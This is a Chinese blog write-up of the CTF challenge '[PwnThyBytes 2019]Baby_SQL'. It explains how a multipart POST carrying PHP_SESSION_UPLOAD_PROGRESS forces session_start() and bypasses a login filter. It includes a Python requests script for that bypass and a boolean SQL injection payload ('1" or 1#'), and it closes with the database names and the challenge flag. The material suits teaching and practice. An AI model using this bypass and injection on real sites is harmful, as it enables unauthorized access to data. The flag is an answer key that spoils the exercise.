刷题笔记:[PwnThyBytes 2019]Baby_SQL


前言

关键字:[PHP_SESSION_UPLOAD_PROGRESS|if+substr盲注]

题解

源码都是写成一行的形式

and 前面都为假,后面就不执行

or 前面都为真,后面就不执行

(1 === 2) or (1 === 1) and die('no');//no
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

奇怪,照理说按这条代码逻辑,username=admin,不会返回Not allowed!

怪。

在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()

那思路就是执行session_start()绕过index.php的过滤

proxies参数可设置代理,让bp抓python脚本的包。

import requests

url = "http://8498ac9c-f8d3-49e4-be94-e4e8fd4df4cc.node4.buuoj.cn:81/templates/login.php"

files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
                  cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
                  proxies={'http': "http://127.0.0.1:8080"})
print(a.text)

成功绕过了

碎碎念:太久没做sql注入都有丶忘记了,我要做的不是让username=一个正确的值而是让where后面的条件为真或假,所以直接1" or 1#不就完了,非得搁着想着如何凑出正确的username,这都没有任何过滤随便注,还搁着想半天,该打该打。

跑脚本完事

ptbctf

flag_tbl,ptbctf

flag_tbl表的字段名

secret

数据

flag{477ab0cc-9af4-4fef-ae60-22739668b94c}

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录